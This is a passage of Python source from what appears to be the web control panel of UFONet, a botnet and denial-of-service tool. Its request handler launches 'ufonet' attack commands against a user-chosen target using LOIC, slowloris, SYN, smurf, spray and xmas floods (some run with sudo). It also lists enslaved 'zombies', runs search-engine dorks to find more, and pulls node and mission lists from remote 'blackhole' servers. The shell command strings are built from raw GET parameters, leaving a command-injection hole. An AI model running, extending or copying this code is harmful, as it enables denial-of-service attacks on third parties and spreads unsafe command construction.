  2034. You can use this before to attack to be more effective.
  2035. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2036. <hr>
  2037. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  2038. <hr>
  2039. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  2040. </td><td><img src="/images/aliens/alien7.png" onclick="Abduction()"></td>
  2041. </tr></table>
  2042. </td>
  2043. </tr>
  2044. </table>
  2045. <hr>
  2046. <div id="cmdOut"></div>
  2047. """ + self.pages["/footer"]
  2048. self.pages["/lib.js"] = """function loadXMLDoc() {
  2049. var xmlhttp;
  2050. if (window.XMLHttpRequest) {
  2051. // code for IE7+, Firefox, Chrome, Opera, Safari
  2052. xmlhttp = new XMLHttpRequest();
  2053. } else {
  2054. // code for IE6, IE5
  2055. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2056. }
  2057. xmlhttp.onreadystatechange = function() {
  2058. if (xmlhttp.readyState == 4 ) {
  2059. if(xmlhttp.status == 200){
  2060. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2061. setTimeout("loadXMLDoc()", 3000);
  2062. }
  2063. }
  2064. }
  2065. xmlhttp.send();
  2066. }
  2067. function runCommandX(cmd,params) {
  2068. var xmlhttp;
  2069. if (window.XMLHttpRequest) {
  2070. // code for IE7+, Firefox, Chrome, Opera, Safari
  2071. xmlhttp = new XMLHttpRequest();
  2072. } else {
  2073. // code for IE6, IE5
  2074. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2075. }
  2076. xmlhttp.onreadystatechange = function() {
  2077. if (xmlhttp.readyState == 4 ) {
  2078. if(xmlhttp.status == 200){
  2079. if(cmd.indexOf("?")!=-1){
  2080. s=cmd.split("?")
  2081. cmd=s[0]
  2082. params=s[1]
  2083. }
  2084. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2085. //document.getElementById("cmdOut").scrollIntoView();
  2086. newcmd=cmd
  2087. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  2088. return;
  2089. } else {
  2090. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  2091. //do not refresh if certain text on response is found
  2092. if(newcmd.match(/update/) &&
  2093. (
  2094. xmlhttp.responseText.match(/Generating random exit/) ||
  2095. xmlhttp.responseText.match(/Biggest File/) ||
  2096. xmlhttp.responseText.match(/Abduction finished/) ||
  2097. xmlhttp.responseText.match(/Not any zombie active/) ||
  2098. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  2099. xmlhttp.responseText.match(/Unable to connect to target/) ||
  2100. xmlhttp.responseText.match(/Something wrong/) ||
  2101. xmlhttp.responseText.match(/Target url not valid/) ||
  2102. xmlhttp.responseText.match(/updated/) ||
  2103. xmlhttp.responseText.match(/For HELP use:/) ||
  2104. xmlhttp.responseText.match(/Not any .git repository found/) ||
  2105. xmlhttp.responseText.match(/End of /) ||
  2106. xmlhttp.responseText.match(/Exiting /) ||
  2107. xmlhttp.responseText.match(/Bye/)
  2108. )
  2109. ) return;
  2110. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  2111. return;}
  2112. }
  2113. }
  2114. }
  2115. if(typeof params != "undefined") cmd=cmd+"?"+params
  2116. xmlhttp.open("GET", cmd, true);
  2117. xmlhttp.send();
  2118. }
  2119. """
  2120. self.pages["/requests"] = self.html_requests()
  2121. self.pages["/board_profile"] = self.html_board_profile()
  2122. self.pages["/grid_profile"] = self.html_grid_profile()
  2123. def buildGetParams(self, request):
  2124. params = {}
  2125. path = re.findall("^GET ([^\s]+)", request)
  2126. if path:
  2127. path = path[0]
  2128. start = path.find("?")
  2129. if start != -1:
  2130. if path[start+1:start+7] == "zombie":
  2131. params['zombie']=path[start+8:]
  2132. return params
  2133. if path[start+1:start+7] == "target":
  2134. params['target']=path[start+8:]
  2135. return params
  2136. for param in path[start+1:].split("&"):
  2137. f = param.split("=")
  2138. if len(f) == 2:
  2139. var = f[0]
  2140. value = f[1]
  2141. value = value.replace("+", " ")
  2142. value = urllib.unquote(value)
  2143. params[var] = value
  2144. return params
  2145. def save_profile(self,pGet):
  2146. # set values for profile configuration from html form to json file
  2147. if "profile_token" in pGet.keys():
  2148. profile_token = pGet["profile_token"]
  2149. else:
  2150. profile_token = self.profile_token
  2151. if "profile_icon" in pGet.keys():
  2152. profile_icon = pGet["profile_icon"]
  2153. else:
  2154. profile_icon = self.profile_icon
  2155. if "profile_nick" in pGet.keys():
  2156. profile_nick = pGet["profile_nick"]
  2157. else:
  2158. profile_nick = self.profile_nick
  2159. # set new values on boardcfg json file
  2160. with open(self.mothership_boardcfg_file, "w") as f:
  2161. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  2162. def save_grid(self,pGet):
  2163. # set values for profile configuration from html form to json file
  2164. if "grid_token" in pGet.keys():
  2165. grid_token = pGet["grid_token"]
  2166. else:
  2167. grid_token = self.grid_token
  2168. if "grid_contact" in pGet.keys():
  2169. grid_contact = pGet["grid_contact"]
  2170. else:
  2171. grid_contact = self.grid_contact
  2172. if "grid_nick" in pGet.keys():
  2173. grid_nick = pGet["grid_nick"]
  2174. else:
  2175. grid_nick = self.grid_nick
  2176. # set new values on gridcfg json file
  2177. with open(self.mothership_gridcfg_file, "w") as f:
  2178. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  2179. def save_cfg(self,pGet):
  2180. # set values for requests configuration from html form to json file
  2181. if "rproxy" in pGet.keys():
  2182. frm_rproxy = pGet["rproxy"]
  2183. else:
  2184. frm_rproxy = self.rproxy
  2185. if "ruseragent" in pGet.keys():
  2186. frm_ruseragent = pGet["ruseragent"]
  2187. else:
  2188. frm_ruseragent = self.ruseragent
  2189. if "rreferer" in pGet.keys():
  2190. frm_rreferer = pGet["rreferer"]
  2191. else:
  2192. frm_rreferer = self.rreferer
  2193. if "rhost" in pGet.keys():
  2194. frm_rhost = pGet["rhost"]
  2195. else:
  2196. frm_rhost = self.rhost
  2197. if "rxforw" in pGet.keys():
  2198. frm_rxforw = pGet["rxforw"]
  2199. else:
  2200. if "update" in pGet.keys():
  2201. frm_rxforw = ""
  2202. else:
  2203. frm_rxforw = self.rxforw
  2204. if "rxclient" in pGet.keys():
  2205. frm_rxclient = pGet["rxclient"]
  2206. else:
  2207. if "update" in pGet.keys():
  2208. frm_rxclient = ""
  2209. else:
  2210. frm_rxclient = self.rxclient
  2211. if "rtimeout" in pGet.keys():
  2212. frm_rtimeout = pGet["rtimeout"]
  2213. else:
  2214. frm_rtimeout = self.rtimeout
  2215. if "rretries" in pGet.keys():
  2216. frm_rretries = pGet["rretries"]
  2217. else:
  2218. frm_rretries = self.rretries
  2219. if "rdelay" in pGet.keys():
  2220. frm_rdelay = pGet["rdelay"]
  2221. else:
  2222. frm_rdelay = self.rdelay
  2223. if "threads" in pGet.keys():
  2224. frm_threads = pGet["threads"]
  2225. else:
  2226. frm_threads = self.threads
  2227. if "rssl" in pGet.keys():
  2228. frm_rssl = pGet["rssl"]
  2229. else:
  2230. if "update" in pGet.keys():
  2231. frm_rssl = ""
  2232. else:
  2233. frm_rssl = self.rssl
  2234. # set new values on webcfg json file
  2235. with open(self.mothership_webcfg_file, "w") as f:
  2236. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  2237. def get(self, request):
  2238. # set request options of the user
  2239. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  2240. if self.rxforw == "on":
  2241. cmd_options = cmd_options + " --xforw"
  2242. if self.rxclient == "on":
  2243. cmd_options = cmd_options + " --xclient"
  2244. if self.rssl == "on":
  2245. cmd_options = cmd_options + " --force-ssl"
  2246. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  2247. runcmd = ""
  2248. res = re.findall("^GET ([^\s]+)", request)
  2249. if res is None or len(res)==0:
  2250. return
  2251. pGet = {}
  2252. page = res[0]
  2253. paramStart = page.find("?")
  2254. if paramStart != -1:
  2255. page = page[:paramStart]
  2256. pGet = self.buildGetParams(request)
  2257. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  2258. if os.path.exists("core/"+page[1:]):
  2259. f=open("core/"+page[1:])
  2260. self.pages[page]=f.read()
  2261. elif page == "/js/ajax.js":
  2262. from ajaxmap import AjaxMap
  2263. self.pages[page] = AjaxMap().ajax(pGet)
  2264. if page == "/cmd_check_tool":
  2265. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  2266. runcmd = "(python -i ufonet --update |tee /tmp/out) &"
  2267. if page == "/cmd_check_tool_update":
  2268. if not os.path.exists('/tmp/out'):
  2269. open('/tmp/out', 'w').close()
  2270. with open('/tmp/out', 'r') as f:
  2271. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  2272. if page == "/cmd_list_army":
  2273. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2274. if page == "/cmd_list_zombies":
  2275. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  2276. if page == "/cmd_list_aliens":
  2277. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  2278. if page == "/cmd_list_droids":
  2279. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  2280. if page == "/cmd_list_ucavs":
  2281. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  2282. if page == "/cmd_list_rpcs":
  2283. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2284. if page == "/cmd_view_army":
  2285. if pGet=={}:
  2286. self.pages["/cmd_view_army"] = self.html_army_map()
  2287. if page == "/cmd_view_attack":
  2288. if 'target' in pGet.keys() != None:
  2289. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  2290. if page == "/cmd_test_army":
  2291. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  2292. runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  2293. if page == "/cmd_test_all":
  2294. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  2295. runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  2296. if page == "/cmd_test_offline":
  2297. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  2298. runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  2299. if page == "/cmd_attack_me":
  2300. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  2301. runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  2302. if page == "/cmd_attack_me_update":
  2303. if not os.path.exists('/tmp/out'):
  2304. open('/tmp/out', 'w').close()
  2305. with open('/tmp/out', 'r') as f:
  2306. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  2307. if page == "/cmd_download_community":
  2308. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  2309. runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  2310. if page == "/cmd_download_community_update":
  2311. if not os.path.exists('/tmp/out'):
  2312. open('/tmp/out', 'w').close()
  2313. with open('/tmp/out', 'r') as f:
  2314. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  2315. if page == "/cmd_upload_community":
  2316. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  2317. runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  2318. if page == "/cmd_upload_community_update":
  2319. if not os.path.exists('/tmp/out'):
  2320. open('/tmp/out', 'w').close()
  2321. with open('/tmp/out', 'r') as f:
  2322. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  2323. if page == "/cmd_test_army_update":
  2324. if not os.path.exists('/tmp/out'):
  2325. open('/tmp/out', 'w').close()
  2326. with open('/tmp/out', 'r') as f:
  2327. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  2328. if page == "/cmd_test_all_update":
  2329. if not os.path.exists('/tmp/out'):
  2330. open('/tmp/out', 'w').close()
  2331. with open('/tmp/out', 'r') as f:
  2332. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  2333. if page == "/cmd_test_offline_update":
  2334. if not os.path.exists('/tmp/out'):
  2335. open('/tmp/out', 'w').close()
  2336. with open('/tmp/out', 'r') as f:
  2337. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  2338. if page == "/cmd_test_rpcs":
  2339. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2340. runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2341. if page == "/cmd_test_rpcs_update":
  2342. if not os.path.exists('/tmp/out'):
  2343. open('/tmp/out', 'w').close()
  2344. with open('/tmp/out', 'r') as f:
  2345. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2346. if page == "/cmd_attack":
  2347. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2348. cmd = ""
  2349. flag_ufosyn = None
  2350. flag_spray = None
  2351. flag_smurf = None
  2352. flag_xmas = None
  2353. nonroot_cmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2354. root_cmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2355. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  2356. if pGet["dbstress"]:
  2357. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  2358. if pGet["loic"]:
  2359. cmd += "--loic '" +str(pGet["loic"])+ "' "
  2360. if pGet["loris"]:
  2361. cmd += "--loris '" +str(pGet["loris"])+ "' "
  2362. if pGet["ufosyn"]:
  2363. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  2364. flag_ufosyn = True
  2365. if pGet["spray"]:
  2366. cmd += "--spray '" +str(pGet["spray"])+ "' "
  2367. flag_spray = True
  2368. if pGet["smurf"]:
  2369. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  2370. flag_smurf = True
  2371. if pGet["xmas"]:
  2372. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  2373. flag_xmas = True
  2374. if not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2375. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2376. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True:
  2377. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS)
  2378. runcmd = cmd + end_cmd
  2379. if page == "/cmd_attack_update":
  2380. if not os.path.exists('/tmp/out'):
  2381. open('/tmp/out', 'w').close()
  2382. with open('/tmp/out', 'r') as f:
  2383. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2384. if page == "/cmd_inspect":
  2385. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2386. target = pGet["target"]
  2387. target=urllib.unquote(target).decode('utf8')
  2388. runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2389. if page == "/cmd_inspect_update":
  2390. if not os.path.exists('/tmp/out'):
  2391. open('/tmp/out', 'w').close()
  2392. with open('/tmp/out', 'r') as f:
  2393. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2394. if page == "/cmd_abduction":
  2395. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2396. target = pGet["target"]
  2397. target=urllib.unquote(target).decode('utf8')
  2398. runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2399. if page == "/cmd_abduction_update":
  2400. if not os.path.exists('/tmp/out'):
  2401. open('/tmp/out', 'w').close()
  2402. with open('/tmp/out', 'r') as f:
  2403. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2404. if page == "/cmd_search":
  2405. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2406. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2407. if pGet["all_engines"] == "on": # search using all search engines
  2408. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2409. else: # search using a search engine
  2410. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2411. else: # search using a pattern
  2412. if pGet["autosearch"] == "on": # search using auto-search mod
  2413. runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2414. else:
  2415. if pGet["all_engines"] == "on": # search using all search engines
  2416. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2417. else: # search using a search engine
  2418. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2419. if page == "/cmd_search_update":
  2420. if not os.path.exists('/tmp/out'):
  2421. open('/tmp/out', 'w').close()
  2422. with open('/tmp/out', 'r') as f:
  2423. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2424. if page == "/cmd_refresh_blackholes":
  2425. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2426. blackhole_ip = pGet["blackholes_source"]
  2427. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2428. try:
  2429. blackholes = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read()
  2430. f = open(self.blackholes, "w") # write updates to nodes.dat
  2431. f.write(str(blackholes))
  2432. f.close()
  2433. self.blackholes_text = blackholes
  2434. except:
  2435. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2436. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  2437. f = open("/tmp/out", "w")
  2438. f.write(str(blackholes))
  2439. f.write(end_mark)
  2440. f.close()
  2441. if page == "/cmd_refresh_blackholes_update":
  2442. if not os.path.exists('/tmp/out'):
  2443. open('/tmp/out', 'w').close()
  2444. with open('/tmp/out', 'r') as f:
  2445. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2446. if page == "/cmd_refresh_news":
  2447. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2448. blackhole_ip = pGet["news_source"]
  2449. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2450. try:
  2451. news = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read()
  2452. f = open(self.news, "w") # write updates to news.txt
  2453. f.write(str(news))
  2454. f.close()
  2455. self.news_text = news
  2456. except:
  2457. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  2458. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  2459. f = open("/tmp/out", "w")
  2460. f.write(str(news))
  2461. f.write(end_mark)
  2462. f.close()
  2463. if page == "/cmd_refresh_news_update":
  2464. if not os.path.exists('/tmp/out'):
  2465. open('/tmp/out', 'w').close()
  2466. with open('/tmp/out', 'r') as f:
  2467. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2468. if page == "/cmd_sync_wargames":
  2469. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2470. blackhole_ip = pGet["wargames_source"]
  2471. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2472. try:
  2473. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  2474. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2475. f.write(str(wargames))
  2476. f.close()
  2477. self.wargames_text = wargames
  2478. except:
  2479. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2480. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2481. f = open("/tmp/out", "w")
  2482. f.write(str(wargames))
  2483. f.write(end_mark)
  2484. f.close()
  2485. if page == "/cmd_sync_wargames_update":
  2486. if not os.path.exists('/tmp/out'):
  2487. open('/tmp/out', 'w').close()
  2488. with open('/tmp/out', 'r') as f:
  2489. stream = f.read()
  2490. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2491. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2492. if page == "/cmd_refresh_missions":
  2493. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2494. blackhole_ip = pGet["missions_source"]
  2495. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2496. try:
  2497. missions = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read()
  2498. f = open(self.missions, "w") # write updates to missions.txt
  2499. f.write(str(missions))
  2500. f.close()
  2501. self.missions_text = missions
  2502. except:
  2503. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2504. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  2505. f = open("/tmp/out", "w")
  2506. f.write(str(missions))
  2507. f.write(end_mark)
  2508. f.close()
  2509. if page == "/cmd_refresh_missions_update":
  2510. if not os.path.exists('/tmp/out'):
  2511. open('/tmp/out', 'w').close()
  2512. with open('/tmp/out', 'r') as f:
  2513. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  2514. if page == "/cmd_sync_grid":
  2515. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2516. blackhole_ip = pGet["grid_source"]
  2517. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2518. try:
  2519. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  2520. f = open(self.grid_file, "w") # write updates to grid.txt
  2521. f.write(str(grid))
  2522. f.close()
  2523. self.grid_text = grid
  2524. except:
  2525. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2526. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2527. f = open("/tmp/out", "w")
  2528. f.write(str(grid))
  2529. f.write(end_mark)
  2530. f.close()
  2531. if page == "/cmd_sync_grid_update":
  2532. if not os.path.exists('/tmp/out'):
  2533. open('/tmp/out', 'w').close()
  2534. with open('/tmp/out', 'r') as f:
  2535. stream = f.read()
  2536. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2537. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  2538. if page == "/cmd_job_remove":
  2539. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  2540. try:
  2541. job_id = pGet["id"]
  2542. except:
  2543. job_id = ""
  2544. if job_id is not "":
  2545. self.list_wargames.reverse()
  2546. try:
  2547. job_task = self.list_wargames[(int(job_id)-1)]
  2548. f = open(self.wargames_file,"r")
  2549. ls = f.readlines()
  2550. f.close()
  2551. f = open(self.wargames_file,"w")
  2552. for l in ls:
  2553. if str(l) != str(job_task):
  2554. f.write(l)
  2555. f.close()
  2556. except:
  2557. pass
  2558. if page == "/cmd_job_remove_update":
  2559. if not os.path.exists('/tmp/out'):
  2560. open('/tmp/out', 'w').close()
  2561. with open('/tmp/out', 'r') as f:
  2562. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  2563. if page == "/cmd_job_remove_all":
  2564. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  2565. try:
  2566. key_params = pGet["key"]
  2567. sep = ","
